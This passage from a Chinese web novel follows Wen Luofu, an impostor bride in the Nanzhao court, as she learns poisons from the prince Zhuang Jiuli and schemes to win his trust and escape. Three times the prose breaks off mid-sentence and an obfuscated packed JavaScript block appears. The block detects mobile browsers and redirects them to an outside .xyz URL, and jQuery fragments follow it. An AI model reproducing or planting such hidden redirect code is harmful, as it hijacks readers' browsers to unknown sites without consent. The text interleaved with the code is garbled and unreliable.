温萝芙瞥了眼他苍白的侧脸,心里想的,仍是早日摆脱这里为妙。
突然,一阵急促的脚步声从回廊尽头传来。
庄九黎轻轻推开温萝芙,她尚未反应过来,便见一队身着劲装的侍卫疾步而来。
为首的抱拳行礼:“殿下,王上召见。”
另一队侍女则恭敬地朝温萝芙福身:“王妃请随奴婢们更衣梳妆,稍后需一同觐见王上。”
庄九黎微微点头,余光望向温萝芙一眼,转身随侍卫离去。
两队人马在回廊分道扬镳。
温萝芙被侍女们簇拥着走向寝殿,身影消失在层层宫墙之后。
回过神来,她已坐在梳妆台前,侍女们正为她绾发,镜中映出她盛妆的容颜,远山眉黛,朱唇皓齿,俨然一副大周公主的雍容华贵。
窗外树影微动,一道黑影悄无声息地掠过。
温萝芙叹了口气,遣散了绾发的侍女们。
低沉的男声从窗缝传来,是长宁公主派来的知情暗卫:“别搞小动作。”
温萝芙若无其事地继续对镜贴花黄:“大人说什么呢?”
暗卫:“我听见了,你说你要学识毒。”
“明明是那南诏王储想给我个下马威,硬要教我识毒的。”温萝芙一脸无辜,“我一个弱女子,哪敢拒绝?”
对不住了。
她在心里默默给庄九黎道了个歉。
暗卫冷哼一声:“我会监视你。”
“随便你。”温萝芙拿起一支金步摇,慢悠悠地插进发髻。
“这苗疆山高路远,我又不会飞,能跑到哪儿去?”
暗卫不再追问,正欲离开。
温萝芙却叫住他,突然问道:“我能给京城的丫鬟写封信吗?”
暗卫折返,摇头。
“她收不到我的消息会担心。”温萝芙放软声音,“我给她留了钱,但是时间匆忙,来不及与她解释。”
暗卫依旧面无表情。
“那些债主找不到我,肯定会为难她,她性子胆小,定然不会对那些钱轻举妄动。”她声音里带上哽咽,这次是真情实感,“她是我在这世上第一个朋友,也是我唯一的家人。”
不知哪句话触动了暗卫,那人竟破天荒地点了头。
“代笔可以。” 他终于开口,“别耍花样。”
温萝芙眼中水光未褪,却已轻拭眼角,绽开明媚笑意:“多谢大人体恤。”
“你就写——”她清了清嗓子,声音已恢复往日伶俐:“阿月,我接了桩大买卖,那些债主若来问,你只管把我留下的金银给他们。”
暗卫运笔如飞,狼毫在宣纸上沙沙作响。
温萝芙继续口述着:“不用担心我,我呀,一年后就能回去啦。”
她想起冬日时素月把糕点藏在袖子里带给她的模样,声音不自觉地温柔下来:“我给你找了医生看诊,诊金已付过,切莫推辞。等年关我回来,给你带好东西。”
“我回来的时候,你应该已经把我们的大房子治理得仅仅有条了吧?”
“那些挨饿受冻的日子,被催债的日子,全都不会再有了。”
暗卫抬头瞥她一眼,竟破天荒地多写了一句:“勿念,安好。”
墨迹未干,这四个字在信笺上浸开浅浅的枝丫。
温萝芙盯着暗卫写下的每一个字,信纸被蜡封好,她想,必须活着回去,因为有人在等她。
暗卫离开时,温萝芙再次对他表达了感谢,想不到他比想象的还好说话。
她对着暗卫即将没入阴影的背影唤道:“这位大人留步——”
暗卫脚步一顿,黑袍下的身形如刀削般冷硬,却没有回头。
温萝芙笑意清浅:“总不好一直叫你‘暗卫’吧?不知大人怎么称呼?”
黑袍顿住,传来低哑回应:“十七。”
“十七大人?”温萝芙歪着头,故意把数字念得像个人名,“好名字。比我们那些叫‘光宗’‘耀祖’的有趣多了。”
她见他肩线微绷,正色道:“大人今日相助之恩,温某铭记于心。我虽不谙武艺,却精通易容之术。他日若有需易容之处,尽可告知。”
窗外惊鸟乍起,再抬眼时,暗卫的身影已如墨色般消散在晨光中。
会跑掉的。她望着振翅飞去的惊鸟想。
*
温萝芙踏入南诏王殿,庄九黎已立于殿门前,两人若即若离,携手走进。
随着他们前行,殿内森冷的气息缠绕上来。烛火幽暗,照得那些壁画图腾愈发狰狞,殿柱上缠绕的青铜蟒像在暗处发出绿色磷光。
正殿之上,南诏王楼冥庄端坐于王座。
他面容冷峻,眉宇间与庄九黎有七分相似,却透着股戾气,仿佛眼前的一切都不值得他多看一眼。
右侧凤座上,王后影昙华身着靛蓝苗绣华服,正用银刀剖开一枚血淋淋的蛇胆。
扑通。
王后突然松手,银匙坠入盏中,竟化作一条银鳞小蛇。那蛇在茶汤中优雅游曳一周,又乖顺地盘回王后腕间,变作一只精致的银镯。
“长宁见过王上、王后。”温萝芙按规矩行礼。
南诏王终于抬眼:“听闻公主昨夜无恙?”
温萝芙展露出一个得体的笑容:“托王上的福,更托两国交好的福泽。”
“是托我儿的福吧。”南诏王指尖轻叩扶手,每一下都像敲在人心上,“他为了不伤你,可是费了不少功夫。”
看来,南诏王也知道那触之即死是谣言啊。温萝芙想。
“啪!”
王后突然将茶盏重重搁下,银匙与瓷器相撞,发出清脆的声响。
“王上这话说的,”王后红唇轻启,“倒像是委屈了我们远道而来的贵客。”
南诏王冷笑:“王后今日话倒是多。”
“臣妾不过是心疼孩子。”王后抚了抚鬓角,意有所指,“毕竟不是谁都能像王上这般铁石心肠。”
殿内气氛骤然凝滞。
好像不太欢迎她。温萝芙悄悄看向身侧的庄九黎。
少年垂眸而立,面色苍白如纸,仿佛早已习惯这样的场面。
庄九黎察觉到温萝芙的目光,指尖微不可察地动了动。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15611970|172151||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
他借着宽袖的遮掩,轻轻碰了碰她的袖角,又迅速收回手。
“别怕。”他声音极轻,只有温萝芙能听见,“你是大周的公主。他们只是关系不好。”
这句话像道无形的屏障,将剑拔弩张的气息轻轻隔开。
是啊,她是大周公主,即便是假冒的。
两国使臣还未离去,没人会公然刁难和亲公主。
“公主。”南诏王忽然开口,鹰隼般的目光在她与庄九黎之间逡巡,“既嫁来苗疆之地,可还习惯?”
温萝芙福身:“南诏风光秀丽,甚是喜欢。”
南诏王将二人微微靠近的动作看在眼里,突然抚掌而笑:“甚好。”
“九黎自幼性子孤冷,难得对人上心,看来这门亲事,当真是天作之合。”他拍案而起,“七日后的祭山大典,便由公主主持吧!让南诏子民瞧瞧两国邦谊!”
王后冷冷的瞥了南诏王一眼:“王上,祭山大典历来由王族血脉主持。”
“公主既入我南诏宗谱,自然算得王族。”南诏王不容置疑地打断,话锋一转,“莫非公主不愿?”
祭山大典?这又是什么?
温萝芙凭借一种现代人的直觉察觉到,这应该是什么重要的仪式。
而她只是一个各种意义上被卷入的可怜人。
她下意识看向庄九黎,却见少年眸光沉沉,对她几不可察地点了点头。
这个眼神让温萝芙莫名安心:“长宁定不负王上所托。”
南诏王盯着她看了一会,意味深长地道:“孤很期待。”
走出正殿。
庄九黎默默走在温萝芙身侧,宽袖下的手虚扶着她。
远处传来王后歇斯底里的摔砸声,和南诏王冰冷的呵斥。
好一对纯恨夫妻。温萝芙暗自咋舌。
待那争吵声渐远,她终于按捺不住:“那个祭山大典究竟是什么?”
庄九黎脚步微顿:“别担心,我会教你。”
他补充:“若你不想去,我便找人替你。”
阳光在他苍白的脸上投下斑驳的光影。
温萝芙突然想起自己现在的人设,学着长宁公主惯用的跋扈语气道:“本宫可不想在众人面前出丑!学不会就罢了——你现在有空吧?带我去认认蛊毒!”
她表面张牙舞爪,心里却乐开了花。
机会来了!
#关于我为了跑路不得不学习当蛊毒大佬这件事#
逃跑计划,正式启动!
她偷瞄庄九黎清瘦的身影,默默道了个歉。又默默感谢他为自己学成跑路的计划添砖加瓦。
当然,如果他不幸地识破她是假的,到时候不追捕她,那就更好了。
温萝芙越想越兴奋,脚步都不自觉轻快起来,差点踩到自己的裙摆。
她赶紧收敛表情,继续端着公主的架子:“喂,走慢点!我的裙子要被树枝勾到了!”
其实庄九黎早已放慢脚步,闻言又缓了三分。温萝芙穿着繁复的宫装,迈着小碎步跟在他身侧。
他的目光落在两人衣袖间那一线之隔的距离上,想着有没有什么办法让对方能跟上自己。
应该牵手吗?
这个念头刚冒出来就被他压了下去。
“前面就是祭坛。”庄九黎刻意停在岔路口,等温萝芙跟上来,“需穿过毒瘴林,当心石阶。”
温萝芙提着裙摆蹦上石阶,却因为礼服厚重,险些摔倒。这破礼服,真不如换上裤装来得利落。
庄九黎见状,终是抿了抿唇,解下腰间银链:“抓着这个。”
——牵着他的铃铛,若她摔倒,他能第一时间察觉。
温萝芙一把攥住银链另一端:“早这样不就好了!”
银链绷得笔直,铃铛随着两人的步伐发出叮叮当当的脆响。。
还挺像在遛狗的。
5. 第 5 章
身旁的庄九黎身形修长,步伐沉稳,银链垂坠在腰间,像是生怕她走丢似的。
温萝芙故意晃了晃链子,铃声响彻这片森林:“走啦走啦,我要学最厉害的蛊毒!”
庄九黎看着两人之间摇曳的银链,觉得这样……也好。
不会弄丢。
穿过毒瘴林时,温萝芙盯着那串铃铛,发现铃铛上刻着一只展翅的蝴蝶。
“这是你自己刻的吗?好漂亮。”她赞叹。
“嗯。”庄九黎低低应了一声。
这蝴蝶符文是他刚学会控制体内的蛊毒时,为纪念刻下的。
那日春深,一只翠蝶翩然落在他的指尖,薄翼轻颤,竟没有死去。
它在阳光下停留了片刻,才振翅飞远——那是他短暂人生里,第一个愿意主动亲近他的活物。
“真的很好看,翅膀上的纹路像真的一样。”温萝芙的指尖轻轻抚过蝴蝶纹路,全然不知这句随口的夸赞,让身边人的心跳漏了半拍。
庄九黎别过脸去,将眸中那点星火般的微光尽数掩去。
“你若是喜欢……”他犹豫片刻,自怀中取出一物。“这个送你。”
那是一枚更小巧的银铃。
铃铛上刻着同样的蝴蝶,只是更加精致,翅膀上还嵌着细碎的青玉,在穿透树林的阳光下泛着柔和的光。
温萝芙接过银铃:“谢谢?”
庄九黎:“摇响它,我就会出现。”
他想起大婚那日,司礼将两人的发丝结在一起时说的话:“青丝结发,生死相随。”
所以,他作为丈夫,应该要遵守好誓言,护她周全。
所以,给她铃铛,是理所应当的。
山风拂过,将他低语般的话语送入她耳中。
这么神奇?温萝芙想着,哪天趁庄九黎不在的时候试试。
温萝芙正想将银铃收好,忽然感觉袖口一沉。
低头一看,一条通体漆黑的小蛇正慢悠悠地沿着她的衣袖往上爬,猩红的蛇信几乎要碰到她的手腕。
这不正是初见时庄九黎身上的蛇吗?
“啊——!”她惊呼一声,银铃险些脱手。
庄九黎修长的手指闪电般钳住蛇的七寸,眉峰微蹙:“小九,不许胡闹。”
那黑蛇竟似通人性,委委屈屈地垂下脑袋,对着温萝芙的方向吐了吐信子,像是在道歉。
“它、它听得懂人话?”温萝芙惊魂未定地拍拍胸口。
“嗯。”庄九黎轻轻将黑蛇绕回自己腕间,“这是伴生蛇,我从小养大的。”
温萝芙这才想起,苗疆自古以蛇为图腾,视其为通灵之物。
民间更有双生蛇蛊的传说,谓其一生只认一主,至死相随。
传闻南诏王室更是世代供奉蛇神,只是没想到庄九黎竟会亲自豢养。
“抱歉。”庄九黎的声音里藏着一丝忐忑,“它们平时很乖的。”
伴生蛇与主人心神相连,以血养蛊,以心传意。
它们比主人更坦率,用冰凉的身躯代替那不敢触碰的指尖,去贴近这个让主人心绪波动的女孩。
庄九黎不想温萝芙因此生厌:“是我管教不严……”
“没事啦。”温萝芙壮着胆子,指尖轻轻点了下黑蛇的脑袋,“还挺可爱的。”
小九立刻讨好地蹭了蹭她的指尖,冰凉滑腻的触感让她忍不住缩了缩手。
“所以另一条叫小黎?”她想起初见时那两条缠绕在他腕间的蛇。
庄九黎点了点头。
仿佛感应到召唤,白蛇从他衣领处探出头来,如人类般亲昵地朝温萝芙望去。
两条小蛇一黑一白,缠绕在修长的手指上,竟显出几分奇异的和谐。
庄九黎感知到伴生蛇的心绪,如实道:“它们很喜欢你。”
温萝芙看着这同步率极高的一人两蛇,想起自己那日关于渴肤症的猜测,忽然福至心灵——莫非是因为庄九黎心里想要亲近她,却又不敢逾矩,所以他的伴生蛇才会忍不住替主人表达心意?
这也太好攻略了吧!
她伸手轻抚小九的脑袋:“我也……挺喜欢它们的。”
小九立刻精神抖擞地竖起身体,欢快地在她手腕上绕了一圈。而庄九黎的唇角不自觉扬起一个极浅的弧度,连眼尾那抹诡谲艳丽的赤痕都柔和了几分。
越往深处走,毒瘴愈浓,紫雾在林间翻涌。
温萝芙发现脚下泥土泛着诡异荧光,细看竟是密密麻麻的虫卵,不由浑身发冷,加快脚步。
“抓紧。”庄九黎握紧银链,将她往身边带了带,“别踩到蛊茧。”
温萝芙这才注意到,前方树根处盘踞着几个半透明的茧,里面隐约可见人形的轮廓。
她头皮一麻,不自觉地往庄九黎身边靠了靠。
“这是失败的蛊人。”庄九黎语气平静地挡在她前面。
蛊人。
温萝芙强忍着恶心移开视线,心里疯狂拉响警报——这里的民风真彪悍啊!
必须尽快学会保命的蛊毒之术,然后找机会开溜。
庄九黎领着她穿过最后一片氤氲毒瘴。
悬崖之巅,古老祭坛赫然显现。圆形的石面坑洼不平,踩上去能听见空洞的回响。九根青铜柱上盘绕着栩栩如生的蛇神雕像,柱顶青焰曳曳,祭坛中央的地面上,则勾勒出繁复的星象图。
温萝芙忽然惊恐的指向西侧:“那是……?”
西侧黑黢黢的地宫入口像一张择人而噬的嘴,石阶蜿蜒没入黑暗,壁嵌的发光虫卵莹莹似鬼眼。
“先祖陵寝。”庄九黎回答,“供奉着蛇神与苗疆历代大祭司。”
他没有提及自己曾被推入地宫,与其他蛊童生死搏杀的过往。
在充斥着蛊虫与尸骨的黑暗中,最终只有他一个人满身血污地爬了出来。
他并不想得到她同情或怜悯的眼神。
温萝芙好奇地追问:“蛇神真的存在吗?”
庄九黎轻抚过青铜柱上的蛇鳞纹路,似答非答:“存在与否,要看怎么定义‘存在''。”
温萝芙不再言语,陷入哲学思索。
“开始吧。”庄九黎转移话题,从祭坛边的石匣里取出一把银刀,“我教你识毒。”
银刀在阳光下划出一道冷芒,他挽起衣袖,露出手臂上密密麻麻、新旧交叠的疤痕。
不得不说,庄九黎是一个很好的老师。
他刀尖轻点祭坛边缘的苔藓:“这是‘青鬼衣'',触之即溃烂,但晒干后却是解毒的良药。”
手腕一转,刀锋挑起一只通体碧绿的小虫:“世人称它是‘相思蛊'',沾上就会对第一眼见到的人死心塌地。”
庄九黎放走了小虫:“不过都是骗人的。”
温萝芙凑近观
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15611971|172151||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
察,小虫突然振翅飞起,直扑温萝芙的面颊。
她还未反应过来,庄九黎已将虫尸碾碎。
有几滴毒液溅上他的手背,那些纵横交错的疤痕泛起银光,留下一道转瞬即逝的青痕,干干净净。黑蛇小九探出袖口,讨好地舔掉了主人手上残留的毒液。
“你不怕毒吗?” 温萝芙脱口而出,忘了对方被人称作人形毒物的事实。
庄九黎正在讲解一株紫色毒蕈的动作迟疑了一下:“我本就是毒。”
他拨开灌木丛,露出底下冒着寒气的幽蓝花朵,“这是‘忘忧引'',能让人神志不清,失去一段记忆。”
日影西斜时,他们才走完毒瘴林的一小部分。
温萝芙极目远眺,只见层峦叠嶂间瘴气缭绕,奇花异草在悬崖峭壁上肆意生长,山脉绵延至天际。
风里带着草木疯长的气息,她第一次意识到苗疆的疆域竟如此辽阔。
那些在京城茶楼里听来的“南诏弹丸之地”的说法简直可笑。
京城的朱雀大街上,饿殍枕藉。皇宫里却夜夜笙歌。
这里的一切都带着蓬勃的生命力,与她曾待过的京城形成鲜明对比。
庄九黎指向远处云雾缭绕的山脉:“那里是白蛊族的领地,再往南三日路程,就能看到海。”
温萝芙:“海?”
庄九黎:“嗯,你想看的话,我可以带你去。”
温萝芙:“……好。”
这里并非她熟悉的那个世界。
在大周见过的《万国坤舆图》上,南诏之外便是蛮荒之地,哪有什么海洋?可庄九黎说得如此笃定,仿佛那是再寻常不过的风景。这个世界是古代,她所看见的地图估计也不太有信效度。
“你看见的海也是蓝色的吗?”她问。
庄九黎似乎有些意外她会这么问:“有时碧蓝如翡翠,有时灰暗如铁,日落时会变成金色。”
“潮汐起时,月光会在海面上铺出一条银路。”
他顿了顿,“和你们大周的海不一样吗?”
温萝芙没有回答。
自穿越以来,她就每日疲于生计,依靠自己前世所擅长的化妆术才得以度日,更不可能见到大周的海。
“我想看。”她突然说,声音里泛起她未曾察觉的期待,“我想看看这个世界的边界。”
庄九黎静静注视着她,夕阳将他的睫毛染成金色。小九从他袖中探出头,好奇地歪着脑袋。
“等祭山大典结束后,我带你去。”庄九黎最终承诺。
温萝芙的思绪飘远,回忆起现代见过的世界地图。
如果这里不是地球,那大陆的尽头会是什么?是滔天巨浪,还是万丈深渊?亦或是……
“我们回家吧。”庄九黎打断她的思绪,他指向开始翻腾的毒瘴,眉间凝着警惕,“入夜后的林子很危险。”
温萝芙跟上他的脚步,忍不住又回头望了一眼南方。
暮色中,远山如巨兽的脊背般起伏,在最后一缕天光中化作墨影。
——在大陆的尽头,世界的边缘,能否看见回家的路?
暮色四合时,两人终于回到寝宫。
温萝芙正揉着酸痛的脚踝,忽听庄九黎在屏风后轻声问道:
“你今晚要和我睡吗?”
“什、什么?”温萝芙手一抖,差点摔倒,“睡……哪种睡?”
6. 第 6 章
温萝芙说完反应过来,这个世界又没有网络,庄九黎一看就是那种没有接触过任何知识的人。
烛光下,她瞥见小九和小黎从庄九黎的衣领里探出头,鳞片都黯淡了几分。
“就是,”庄九黎感知到了她的不情愿,“一起睡觉。”
像寻常夫妻那样,共枕而卧。
温萝芙:“我可以拒绝吗?”
“嗯。”他垂着眼睫,“自然可以。”
“你人真好!”温萝芙脱口而出,竖了个大拇指。
庄九黎听闻此言,整个人僵在原地,眼尾赤纹在烛光下艳得刺目。
果然……她还是讨厌我。
他机械地点点头,转身时袖中的银铃发出破碎般的轻响,故作轻快的说:
“那……早些歇息。”
于是温萝芙看着庄九黎沉默地收拾寝具,背影挺拔如竹,却莫名透着一股萧索。
小黎突然游到她脚边,仰头吐了吐信子,蛇眼里竟似含着泪光。
温萝芙:?
“晚安?”她试探着说,但庄九黎已然远去。
夜深,一位身着靛蓝苗裙的年长侍女轻手轻脚地踏入寝殿,手中捧着银盆与熏香。
“奴婢沉香,伺候公主梳洗。”
温萝芙任由沉香为她卸下钗环,少女的妆容渐渐褪去,露出原本清丽的容貌。
沉香犹豫再三,似下定决心道:“公主讨厌我们殿下吗?”
“没有的事。”温萝芙一愣,摇头。
沉香动作轻柔:“近日王都有些闲语,说公主心中烦忧。”
“殿下虽有传言道浑身是毒,人不能近身,却并非恶人,只是一个寂寞的人罢了。”
沉香已替她绾好睡发:“殿下自幼在蛊室中长大,宫人皆畏他如蛇蝎。今日见他与公主同过回廊,奴婢们私下都道是件喜事。”
温萝芙盯着晃动的水面出神,那里倒映着她自己,终是叹了口气:“我知道了。”
如果她是真正的长宁公主,恐怕会觉得这是道德绑架而小发雷霆,怒斥这些侍女多管闲事吧。
真正的长宁公主能不能和庄九黎共走一段路都不好说,更遑论这般虚与委蛇。
可她做不到。她只是个冒牌货,一个心怀不轨、随时可能被拆穿的替身。
而且,她知道,她的选择也许会在某些意义上影响这些人的生活。
不过都是身不由己之人罢了。
温萝芙躺在宽大的婚床上,锦被冰凉,四周空荡得能听见自己的呼吸。
窗外月光如水,洒落一地银辉。远处传来隐约的铜铃声,像是南诏夜巡的守卫在走动。
寝殿四角的烛火早已熄灭,唯有她枕边的一盏小灯还亮着,昏黄的光晕映在纱帐上,将她的影子融入夜色。
昨日,这里还是她的洞房花烛夜。
若做得太绝,会惹人起疑;但若按长宁公主的性子,新婚夜后分房而居才是常态。
温萝芙翻了个身,莫名想起方才侍女沉香的话。
“殿下虽人不能近身,却并非恶人。”
她本该高兴的。
不必与陌路之人同衾而卧,不必忧心替嫁之事败露——这本就是她所求的。
好吧,她确实很高兴。
可不知为何,心里却像堵着什么,如鲠在喉,似絮塞心,教人辗转难眠。
夜露深沉,温萝芙猛地坐起身,打算透透气。
她走到窗边,推开木窗。
夜风拂面,带着苗疆特有的草木香气。
然后,就这样猝不及防对上了一双泛红的眼睛。
——庄九黎就坐在她窗外的屋檐上。
墨发未束,被夜风吹得微微凌乱。脸上还挂着未干的泪痕,眼尾赤纹在月光下显得格外妖冶。
一定哭过一场。
两人四目相对,隔窗相望。
“……”
“……”
温萝芙大为震撼:“你在这干嘛?”
庄九黎像是被惊到的猫,猛地站起身,屋檐上的瓦片发出轻微的碰撞声。
他慌乱地抹了把脸,袖口的银铃随着动作叮当作响。
“会着凉的吧?”温萝芙下意识伸手,“你干嘛在外……”
这句话还没完整问出口,庄九黎已经转身一跃,身影如夜鸦般掠过层层屋檐。
几个起落间,他便消失在茫茫夜色。只剩夜风卷起几片打着旋儿的落叶飘进窗来。
温萝芙呆立原地,手里还保持着伸出的姿势。
不是,他为什么深夜独自坐在窗外?
他刚才是在伤心吧。
为什么?
窗外,苗疆的群山在月光下沉默伫立,仿佛在守护着什么不可言说的秘密。
不知为何,温萝芙突然想起白日里,他教她识毒的样子。他浑身是毒,触碰时却对她小心翼翼。
她回头看向桌台上的银铃,蝴蝶纹路在月光下栩栩如生。
“摇响它,我就会出现。”庄九黎曾这样说。
温萝芙伸出手,打算摇铃,却在即将触到铃铛的瞬间又缩了回去。
我在做什么?想问他为什么在窗外?
我只是个替嫁的冒牌货,迟早要逃走。何必徒增烦扰?
管他的,我才不管他是什么想法。
我为了自己逃走所以必须利用他,既然要利用,就利用得彻底些。
如果他恰好非常好骗,那自然是再好不过。
于是,温萝芙抱着一种“我死后哪怕洪水滔天”的想法,摇响了铃铛。
银铃倏然震响,清音划破夜空。
那个说要带她去看海的苗疆少年,踏月而来。
庄九黎脸上泪痕未干,却在铃声响起后,不过一个呼吸之间,就如风般出现至窗前。
他指尖扣着窗角,长发被夜风拂乱,眼尾赤纹在月光下泛着妖冶的光,倒像趁着夜色幽会的秘密情人。
温萝芙的指尖还悬在银铃上方,这铃铛竟真如他所言有召必应。
就像召唤师一样。
庄九黎睫毛上还沾着未干的湿意,却已强自压下情绪,故作平静地问,“有何吩咐?”
温萝芙一时语塞。
她本想说“我只是随便摇着玩”搪塞过去,可对上他微红的眼眶,话到嘴边又咽了回去。
夜风卷着远处山林的雾气漫过窗台,她问:“你哭了?”
庄九黎神色一僵,小脸紧绷,懊悔似的抿紧了唇。
小九从他衣领中探出头,焦急地吐着信子,像是在替主人辩解。
“没有。”他难得撒谎,“是夜露沾湿。”
温萝芙:“哦?那你深更半夜坐在我窗外淋露水?”
庄九黎心中难堪至极,慌乱后退,险些从屋檐上滑下去。
“小心!”她惊呼,一把拽住他的衣袖。
这一拽,庄九黎整个人向前倾去,单手撑住窗框才稳住
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15611972|172151||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
身形。两人距离骤然缩短,呼吸交错间,温萝芙闻到他身上淡淡的药香,混着夜风的凉意。
“我……”他呼吸微乱,目光落在她拽着自己袖口的手指上,“我只是想确认你是否安好,来看看你。”
虽然跑路的心依旧坚定,但了解原因之后,温萝芙有那么一点点心软。
被媚到了。
庄九黎因被新婚妻子“拒绝同寝”,而委屈躲到窗外偷偷抹泪的样子,确实很可爱。
都怪他长得太好看了。
“进来吧。”她松开他的袖子,转身走向床榻,“外面冷。”
庄九黎怔在原地,恍若未闻。小九急得绕着他手腕直打转,尾尖轻轻拍打他的皮肤,像是在催促。
“怎么?”温萝芙回头,故意板起脸,“还要我再说一遍?”
庄九黎这才翻窗而入。
温萝芙拍了拍身侧的床褥:“坐。”
他僵硬地坐下,背脊挺得笔直,双手规规矩矩地搭在膝上。
温萝芙瞧他这副模样,不由莞尔:“我又不吃人。”
庄九黎不语,袖中的小黎却悄悄游出来,讨好地蹭了蹭温萝芙的手背。
她循着触感望去,忽然注意到庄九黎手腕内侧新增了几道细小的血痕,像是刚划的。
“你这是干嘛了?”她皱眉抓住他的手腕。
她特别害怕那种情绪不稳定的人。
庄九黎下意识要抽回手,却被她握得更紧:“……祭山大典的万蛇阵,需提前确认安全。”
温萝芙得到了意想不到的答案:“你们南诏是没人可试了?非要王储亲自上阵?”
庄九黎却忽然抬眼,幽蓝的眸子升起一点微光。
这一日患得患失,此刻她话里话外,竟似藏着几分关切。
温萝芙狐疑地转头,却见他唇角微微扬起,眼尾那抹绯红随着笑意宛如雪野里乍破的红梅。
“你笑什么?”她瞪他。
庄九黎摇头,眼底却漾着她从未见过的温柔:“没什么。”
庄九黎:“我担心你,所以就去试毒了。”
庄九黎:“还望你不要怪罪。”
温萝芙:“……你是不是傻。”
“嗯。”庄九黎应道,“很傻。”
真诚往往是最大的必杀技,温萝芙无言以对。
他顿了顿,从怀中取出一枚莹白的骨笛,“祭山大典在圣山举行,各族齐聚,届时鱼龙混杂。”
“日后你若遇危险,吹响它。”
温萝芙接过骨笛,触手冰凉:“你又送我东西呀。”
难道庄九黎其实是多啦A梦,身上总有各种奇奇怪怪的法宝。
“此物以千年蛇骨所制,浸过我的血,能号令万蛇。”庄九黎语气平静,“我不在的时候,它能保护你。”
温萝芙接过骨笛——这进展比她预想的快太多了。她原本打算徐徐图之,没想到庄九黎竟这么上道。
“这么贵重的东西……”她试探着抬眸,“就这么给我了?”
庄九黎的目光落在她握着骨笛的指尖上:“嗯。”
温萝芙心中暗喜,有了这能号令万蛇的信物,日后逃跑岂不是更方便?
她将骨笛贴近心口,露出感动神色:“我一定会好好珍藏。”
庄九黎见她如此珍视,耳尖的红意顺着脖颈漫入衣领:“……好。”
他哪里知道,此刻温萝芙满脑子都是“天助我也”四个大字。
7. 第 7 章
“睡吧。”庄九黎替温萝芙掖好被角,转身欲走,衣袖却被拽住,整个人跌坐在床沿。
还未回神,就听见对方往里侧挪了挪:“进来睡吧,外面冷。”
温萝芙还是叫住了他,她有些泄气,有些恨铁不成钢。
庄九黎怔忡片刻,忽然俯身,极轻地摸了摸她的发顶。
温萝芙被摸了头,抬头便望进他澄澈的眸子,在心中叹息:“你这样很容易被坏人骗的,知道吗?”
不是恨铁不成钢他太单纯,而是恨铁不成钢他太单纯很容易让人心软。
乱我道心。
庄九黎疑惑歪头:“为什么?”
“随便送人东西,随便答应带人看海,随便被人一拽就倒——”温萝芙掰着手指数落,“若你遇到坏人,你现在已经被吃得骨头都不剩了。”
才不会。我是毒人。
根本没有人敢靠近我,从来只有我让人尸骨无存。庄九黎想。
他定定的看着她,问:“那你是坏人吗?”
温萝芙一噎,没想到他会这么问,她索性破罐子破摔:“我是啊。”
她学着话本里妖精蛊惑书生的腔调,故意压低嗓音:
“我可是会骗人、会下毒、会卷走你所有宝贝的坏女人——”
却在心底暗自苦笑:还是被迫前来骗你的一个命苦易容师。
鱼形玉佩就放在她的贴身衣物中,那是真正的长宁公主给她的假死接应信物。
话音未落,床榻突然下陷。
庄九黎倾身而来,清冽的气息顷刻将她包围。他单臂撑在她耳畔,青丝垂落扫过她脸颊,带着夜露的凉意。
温热的呼吸拂过她耳畔,他清冷的嗓音里带着几分哑意:“那……你打算什么时候开始骗我?”
温萝芙心中那点微妙的愧疚感烟消云散。
既然你主动送上门来,就别怪我顺水推舟了。
庄九黎看似镇定,殊不知通红的耳尖早已出卖了他。
他目光游移,却偏要装出这副游刃有余的模样。
温萝芙下定决心,在玩笑里混杂了真心话:“现在就开始骗。”
骗他一颗真心,骗他倾囊相授,骗他护她周全。
还要骗他带她去看海,骗他在祭山大典上护着她,骗他——放她离开。
道德?忘了,愧疚?算了。始终乱弃、欺骗感情?她才不知道。
庄九黎喜欢的只会是一个幻象。她要用自己的全部力气和手段、利用一切可以利用的东西。
或许,让他喜欢上自己才是最好的。他看上去没有任何的感情经验,这不正是一个绝佳的利用对象吗?
他情根深种,方能任她予取予求。
但她决不会喜欢上对方。
两人的鼻尖几乎相触,温萝芙直勾勾的看着他,眸中似有星火灼灼。
而庄九黎分不清野心与爱意,只觉口干舌燥,心如擂鼓。
他终是缓缓躺回榻边,望着帐顶繁复的刺绣出神。
海边的日出很美。等祭山大典结束,他一定要带她去看。
她会喜欢吗?她好像很期待看海。
身后传来极轻的布料摩擦声,接着是庄九黎小心翼翼的声音:“长宁公主。”
“干嘛?”温萝芙问。
“……晚安。”
“晚安。”
窗外,一只夜莺照常落在枝头,歪头看着屋内这对心中所想南辕北辙的新婚夫妇。
……
温萝芙在窒息感中惊醒。
她发现自己整个人被禁锢在一个滚烫的怀抱里。
